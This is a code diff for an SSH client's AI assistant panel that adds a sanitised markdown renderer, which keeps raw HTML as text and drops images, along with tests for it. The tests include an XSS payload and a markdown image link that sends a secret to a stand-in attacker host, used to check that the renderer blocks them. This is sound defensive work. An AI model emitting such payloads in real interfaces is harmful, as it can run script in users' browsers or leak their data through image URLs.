fix: render markdown in the Thinking block and never load images from model text

src/frontend/AiMessage.tsx

@@ -1,5 +1,4 @@
-import ReactMarkdown from "react-markdown";
-import remarkGfm from "remark-gfm";
+import { SafeMarkdown } from "./markdown";
 
 interface AiMessageProps {
   role: "user" | "assistant";
@@ -17,7 +16,7 @@ export function AiMessage({ role, content }: AiMessageProps) {
 
   return (
     <div className="text-sm leading-relaxed [&_a]:underline [&_code]:font-mono [&_code]:text-xs [&_li]:my-0.5 [&_ol]:my-2 [&_ol]:list-decimal [&_ol]:pl-5 [&_p]:my-2 [&_pre]:overflow-x-auto [&_pre]:rounded-none [&_pre]:border [&_pre]:border-border [&_pre]:bg-muted [&_pre]:p-2 [&_ul]:my-2 [&_ul]:list-disc [&_ul]:pl-5">
-      <ReactMarkdown remarkPlugins={[remarkGfm]}>{content}</ReactMarkdown>
+      <SafeMarkdown>{content}</SafeMarkdown>
     </div>
   );
 }

src/frontend/AiThinking.tsx

@@ -1,6 +1,7 @@
 import { useState } from "react";
 import { useTranslation } from "@termix-ssh/plugin-sdk/frontend";
 import { Brain, ChevronDown, ChevronRight, Loader2 } from "lucide-react";
+import { SafeMarkdown } from "./markdown";
 
 /**
  * What the model thought before the text that follows it. Collapsed, so it
@@ -34,8 +35,8 @@ export function AiThinking({
         {t(active ? "assistant.thinkingActive" : "assistant.thinking")}
       </button>
       {open && (
-        <div className="mt-1 max-h-64 overflow-y-auto whitespace-pre-wrap break-words border-l border-border pl-3 leading-relaxed">
-          {content}
+        <div className="mt-1 max-h-64 overflow-y-auto break-words border-l border-border pl-3 leading-relaxed [&_a]:underline [&_code]:font-mono [&_li]:my-0 [&_ol]:my-1 [&_ol]:list-decimal [&_ol]:pl-4 [&_p]:my-1 [&_pre]:my-1 [&_pre]:overflow-x-auto [&_pre]:rounded-none [&_pre]:border [&_pre]:border-border [&_pre]:bg-muted [&_pre]:p-2 [&_ul]:my-1 [&_ul]:list-disc [&_ul]:pl-4">
+          <SafeMarkdown>{content}</SafeMarkdown>
         </div>
       )}
     </div>

src/frontend/markdown.tsx

@@ -0,0 +1,38 @@
+import ReactMarkdown, { type Components } from "react-markdown";
+import remarkGfm from "remark-gfm";
+
+// Wide tables scroll inside their own box instead of stretching the panel.
+// `node` is react-markdown's hast node; keep it off the DOM.
+const components: Components = {
+  table: ({ node: _node, ...props }) => (
+    <div className="my-2 max-w-full overflow-x-auto">
+      <table {...props} className="w-max border-collapse" />
+    </div>
+  ),
+  th: ({ node: _node, ...props }) => (
+    <th
+      {...props}
+      className="border border-border bg-muted px-2 py-1 text-left font-semibold"
+    />
+  ),
+  td: ({ node: _node, ...props }) => (
+    <td {...props} className="border border-border px-2 py-1 align-top" />
+  ),
+};
+
+/**
+ * Markdown from the model. Raw HTML stays text (no rehype-raw), and images
+ * are dropped: model text can echo output from hosts or tools, so never let
+ * it load a remote image (and leak data in the URL) just by being shown.
+ */
+export function SafeMarkdown({ children }: { children: string }) {
+  return (
+    <ReactMarkdown
+      remarkPlugins={[remarkGfm]}
+      disallowedElements={["img"]}
+      components={components}
+    >
+      {children}
+    </ReactMarkdown>
+  );
+}

tests/frontend/AiMessage.test.tsx

@@ -0,0 +1,72 @@
+import { afterEach, expect, it } from "vitest";
+import { cleanup, render, screen } from "@testing-library/react";
+import { AiMessage } from "../../src/frontend/AiMessage";
+
+afterEach(cleanup);
+
+it("renders assistant replies as markdown", () => {
+  const { container } = render(
+    <AiMessage role="assistant" content="**Done**" />,
+  );
+
+  expect(screen.getByText("Done").tagName).toBe("STRONG");
+  expect(container.textContent).not.toContain("**");
+});
+
+it("never turns raw HTML into elements", () => {
+  const { container } = render(
+    <AiMessage
+      role="assistant"
+      content="<img src=x onerror=alert(1)><script>window.__y=1</script>"
+    />,
+  );
+
+  expect(container.querySelector("img")).toBeNull();
+  expect(container.querySelector("script")).toBeNull();
+  expect((window as { __y?: number }).__y).toBeUndefined();
+});
+
+it("does not load markdown images", () => {
+  const { container } = render(
+    <AiMessage
+      role="assistant"
+      content="Before ![leak](https://attacker.example/c?d=secret) after"
+    />,
+  );
+
+  expect(container.querySelector("img")).toBeNull();
+  expect(container.textContent).toContain("Before");
+});
+
+it("renders GFM tables with cell borders in a scrollable wrapper", () => {
+  const { container } = render(
+    <AiMessage
+      role="assistant"
+      content={"| A | B |\n| --- | --- |\n| 1 | 2 |\n| 3 | 4 |"}
+    />,
+  );
+
+  const table = container.querySelector("table");
+  expect(table).not.toBeNull();
+  expect(table!.parentElement!.classList).toContain("overflow-x-auto");
+
+  const ths = container.querySelectorAll("th");
+  const tds = container.querySelectorAll("td");
+  expect(ths).toHaveLength(2);
+  expect(tds).toHaveLength(4);
+  for (const cell of [...ths, ...tds]) {
+    expect(cell.classList).toContain("px-2");
+    expect(cell.classList).toContain("border");
+    expect(cell.classList).toContain("border-border");
+    expect(cell.hasAttribute("node")).toBe(false);
+  }
+});
+
+it("shows user messages as plain text", () => {
+  const { container } = render(
+    <AiMessage role="user" content="**not bold**" />,
+  );
+
+  expect(container.querySelector("strong")).toBeNull();
+  expect(container.textContent).toBe("**not bold**");
+});

tests/frontend/AiThinking.test.tsx

@@ -0,0 +1,53 @@
+import { afterEach, expect, it, vi } from "vitest";
+import { cleanup, fireEvent, render, screen } from "@testing-library/react";
+
+vi.mock("@termix-ssh/plugin-sdk/frontend", async (original) => ({
+  ...(await original<object>()),
+  useTranslation: () => ({
+    t: (key: string, options?: Record<string, unknown>) =>
+      options ? `${key}:${Object.values(options).join(",")}` : key,
+  }),
+}));
+import { AiThinking } from "../../src/frontend/AiThinking";
+
+afterEach(cleanup);
+
+const open = () =>
+  fireEvent.click(screen.getByRole("button", { name: "assistant.thinking" }));
+
+it("renders the thinking as markdown once opened", () => {
+  const { container } = render(<AiThinking content="**Evaluating plugins**" />);
+  open();
+
+  expect(screen.getByText("Evaluating plugins").tagName).toBe("STRONG");
+  expect(container.textContent).not.toContain("**");
+});
+
+it("never turns raw HTML into elements", () => {
+  const { container } = render(
+    <AiThinking content="<img src=x onerror=alert(1)><script>window.__x=1</script>" />,
+  );
+  open();
+
+  expect(container.querySelector("img")).toBeNull();
+  expect(container.querySelector("script")).toBeNull();
+  expect((window as { __x?: number }).__x).toBeUndefined();
+});
+
+it("does not load markdown images", () => {
+  const { container } = render(
+    <AiThinking content="Before ![leak](https://attacker.example/c?d=secret) after" />,
+  );
+  open();
+
+  expect(container.querySelector("img")).toBeNull();
+  expect(container.textContent).toContain("Before");
+});
+
+it("is collapsed by default", () => {
+  render(<AiThinking content="**Evaluating plugins**" />);
+
+  const button = screen.getByRole("button", { name: "assistant.thinking" });
+  expect(button.getAttribute("aria-expanded")).toBe("false");
+  expect(screen.queryByText("Evaluating plugins")).toBeNull();
+});